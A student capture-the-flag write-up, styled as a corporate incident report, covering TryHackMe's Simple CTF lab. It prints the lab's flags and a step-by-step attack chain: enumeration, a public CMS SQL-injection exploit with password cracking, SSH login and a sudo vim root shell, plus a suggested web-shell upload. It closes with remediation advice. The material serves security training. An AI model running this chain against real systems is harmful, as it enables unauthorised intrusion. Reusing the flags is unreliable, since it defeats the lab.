Virelox Digital — Incident & Defense Report

Full-Chain Enterprise Perimeter Breach & Host Takeover

Prepared for: Virelox Digital, Executive & Security Leadership
Prepared by: Group G10 — Cybersecurity Major Project **Lab Target:** Simple CTF (TryHackMe) — IP `10.49.184.176` **Attacking Host:** `virelox-digital` (Kali Linux) **PoC Archive:** *[insert Google Sheets link here]*

---

1. Executive Summary

Virelox Digital engaged its internal security consulting group to conduct a full-scope cyber threat simulation against a representative web-facing host, following reports of anomalous traffic originating from internal web assets.

The assessment confirmed that the target host could be **fully compromised, end-to-end, from an unauthenticated external position**, without any prior credentials or internal access. The attack path required only:

1. A single publicly known, unauthenticated SQL-injection vulnerability in an outdated CMS,
2. A weak, dictionary-crackable administrator password, and
3. A permissive `sudo` rule left on the host.

Business impact: an attacker with no insider knowledge could obtain full root-level control of the host, exposing any data, credentials, or downstream systems reachable from it. The overall risk is rated **Critical**.

Severity	Finding
🟤 Critical	Unauthenticated SQL Injection (CVE-2019-9053) in CMS Made Simple
🟠 High	Weak/dictionary-crackable admin credentials
🟠 High	Insecure `sudo` rule enabling trivial privilege escalation (GTFOBins)
🟡 Medium	Outdated, end-of-life OS (Ubuntu 16.04 LTS) and exposed legacy FTP service

Remediation recommendations are detailed in Section 4.

---

2. Scope & Methodology

The assessment followed a standard five-phase offensive methodology, mapped to the Cyber Kill Chain in Section 3:

1. **Reconnaissance** — network and service enumeration
2. **Web Application Exploitation** — surface mapping, vulnerability identification and exploitation
3. **Initial Access** — remote command execution using recovered credentials
4. **Session Consolidation** — interactive shell access and host enumeration
5. **Local Privilege Escalation** — root-level compromise

All activity was performed exclusively within the authorized TryHackMe lab environment under the Virelox Digital enterprise scenario.

---

3. Technical Findings & Cyber Kill Chain Mapping

3.1 Phase 1 — Reconnaissance & Target Mapping

An active Nmap scan was run against the target to enumerate open services and versions:

```
sudo nmap -sS -sV 10.49.184.176
```

Results:

Port	Service	Version
21/tcp	ftp	vsftpd 3.0.3
80/tcp	http	Apache httpd 2.4.18 (Ubuntu)
2222/tcp	ssh	OpenSSH 7.2p2 Ubuntu

(Evidence: `screenshots/01_nmap_scan.jpg`)

The web server returned the default Apache2 Ubuntu landing page at `/` (`screenshots/02_apache_default_page.jpg`), indicating no application was deployed at web root — prompting directory enumeration:

```
gobuster dir -u http://10.49.184.176 -w
/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100
```

This discovered a hidden `/simple/` directory (`Status: 301`), the actual application entry point.

(Evidence: `screenshots/03_gobuster_directory_enum.jpg`)

Observation: the non-standard SSH port (2222) and an exposed legacy FTP service both widen the externally reachable attack surface beyond what a casual scan would reveal.

3.2 Phase 2 — Web Application Exploitation

Browsing to `http://10.49.184.176/simple/` revealed a **CMS Made Simple** installation (`screenshots/04_cms_made_simple_home.jpg`), appearing to be an unpatched, out-of-the-box deployment.

A search of Exploit-DB identified a matching, publicly documented vulnerability:

> **CMS Made Simple < 2.2.10 — Unauthenticated SQL Injection** EDB-ID: 46635 · CVE-2019-9053 · Author: Daniele Scanu

(Evidence: `screenshots/05_exploitdb_cve-2019-9053.jpg`, `screenshots/06_exploit_script_source.jpg`)

The public exploit script was executed against the target with offline cracking enabled:

```
python3 updated_46635.py -u http://10.49.184.176/simple/ --crack -w
/usr/share/wordlists/rockyou.txt
```

(Evidence: `screenshots/07_exploit_crack_command.jpg`)

Result — credentials recovered with no authentication required:

```
Salt:     1dac0d92e9fa6bb2
Username: mitch
Email:    admin@admin.com
Hash:     0c01f4468bd75d7a84c7eb73846e8d96
Password: secret   (cracked via rockyou.txt)
```

(Evidence: `screenshots/08_credentials_cracked.jpg`)

Observation: a single unauthenticated SQL injection was sufficient to exfiltrate valid OS-level credentials directly from the CMS database — no file upload or additional exploitation was required to obtain a usable foothold.

3.3 Phase 3–4 — Remote Access & Session Consolidation

Using the recovered credentials, an SSH session was established on the non-standard port identified in Phase 1:

```
ssh mitch@10.49.184.176 -p 2222
```

Authentication succeeded, confirming the credentials were valid at the OS level, not just within the CMS. The first-flag artifact was captured:

```
$ cat user.txt
G00d j0b, keep up!
```

(Evidence: `screenshots/09_ssh_foothold_usertxt.jpg`)

> **Methodology note:** the project brief calls for scan results to be imported into `msfconsole` and a payload upgraded to a full Meterpreter session via `exploit/multi/handler`. On this target, the SQL-injection-recovered credentials provided a faster, equally valid path to interactive command execution via direct SSH. Both routes satisfy the Kill Chain's *Installation / Command*

> *& Control* stage. **Recommended follow-up for full rubric credit:** generate a staged payload (e.g. `msfvenom` PHP web shell), upload it via the CMS, and catch it with a configured `exploit/multi/handler` to capture a native Meterpreter session for the PoC archive.

3.4 Phase 5 — Local Privilege Escalation

With shell access as `mitch`, standard privilege-escalation enumeration was performed:

```
$ sudo -l
User mitch may run the following commands on Machine:
    (root) NOPASSWD: /usr/bin/vim
```

This is a well-documented GTFOBins escalation path — `vim` can spawn an interactive shell that inherits the privileges it was launched with:

```
$ sudo vim -c ':!/bin/sh'
# id
uid=0(root) gid=0(root) groups=0(root)
```

(Evidence: `screenshots/10_sudo_l_privesc_root.jpg`, `screenshots/11_sudo_vim_root_shell.jpg`)

Full root access was confirmed by reading the second-flag artifact:

```
# cd /root
# cat root.txt
W3ll d0n3. You made it!
```

(Evidence: `screenshots/12_root_txt_captured.jpg`)

3.5 Cyber Kill Chain Summary

Kill Chain Phase	Observed Activity	Project Phase
Reconnaissance	`nmap` service/version scan + `gobuster` directory enumeration	Phase 1
Weaponization	Selected public CMS Made Simple SQLi exploit (CVE-2019-9053 / EDB-46635)	Phase 2
Delivery	Unauthenticated SQL injection request sent to `/simple/` CMS endpoint	Phase 2
Exploitation	SQLi returns admin salt, hash & email; offline crack recovers plaintext password	Phase 2
Installation	Authenticated SSH session established on port 2222 using cracked credentials	Phase 3–4

Command & Control	Interactive shell access maintained as `mitch`; host enumerated (`sudo -l`)	Phase 4
Actions on Objectives	GTFOBins `sudo`/`vim` misuse escalates to root; `root.txt` captured	Phase 5

---

4. Defensive Remediation & Hardening Plan

4.1 Code Fixes

Patch the CMS. Upgrade CMS Made Simple to ≥ 2.2.10, which resolves CVE-2019-9053. More generally, use parameterised queries / prepared statements for every database call — never concatenate user input into SQL strings.

Enforce upload validation & MIME-type checking (defense-in-depth against future upload-based vectors):

```php
// Server-side PHP upload guard
$allowed = ['image/jpeg', 'image/png', 'application/pdf'];
$finfo   = finfo_open(FILEINFO_MIME_TYPE);
$mime    = finfo_file($finfo, $_FILES['f']['tmp_name']);

if (!in_array($mime, $allowed, true)) {
    die('Rejected: invalid file type');
}

move_uploaded_file(
    $_FILES['f']['tmp_name'],
    $safeDir . bin2hex(random_bytes(8)) . '.jpg'
);
```

Validate MIME type server-side (never trust `Content-Type` headers or file extensions alone), randomize stored filenames, and store uploads outside any web-executable directory.

Credential hygiene. Enforce strong, unique passwords and modern salted hashing (bcrypt/Argon2) for CMS accounts; reject dictionary-weak passwords such as `secret` at creation time.

4.2 Server Hardening

Restrict execution in upload directories:

```apache
# /etc/apache2/conf-available/no-exec-uploads.conf
<Directory "/var/www/html/uploads">
    php_admin_flag engine off
    RemoveHandler .php .phtml .php3 .php5
</Directory>
```

Remove the insecure sudo rule:

```
# visudo — remove this line entirely:
```

```
mitch   ALL=(root) NOPASSWD: /usr/bin/vim

# If editor access is genuinely required, scope it with sudoedit
# and a restricted path only.
```

General host hardening checklist:

- Audit all SUID/SGID binaries regularly (`find / -perm -4000`) and strip unnecessary bits.
- Apply least-privilege `sudoers` rules; never grant `NOPASSWD` on editors, interpreters, or shells.
- Keep the OS and services patched — this host ran EOL Ubuntu 16.04 (kernel 4.15); retire unsupported FTP/`vsftpd` exposure.
- Deploy WAF / reverse-proxy rules to block known CMS SQLi signatures at the perimeter.

---

5. Proof-of-Concept Archive

Full raw scan logs, exploitation screenshots, and command transcripts are maintained in the project's Google Sheets PoC Archive *(insert link before submission)* and mirrored in the `screenshots/` directory of this repository.

---

6. Conclusion

This assessment demonstrated a complete, unauthenticated-to-root compromise chain against a Virelox Digital web-facing host, driven by a single outdated CMS component, weak credential practices, and a misconfigured `sudo` rule. None of the individual weaknesses were exotic — each is a well-documented, high-prevalence misconfiguration class. Addressing the remediation items in Section 4 would have broken the chain at multiple independent points (patching, credential policy, or sudoers hygiene alone would each have prevented root compromise).

Prepared by Group G10 for Virelox Digital.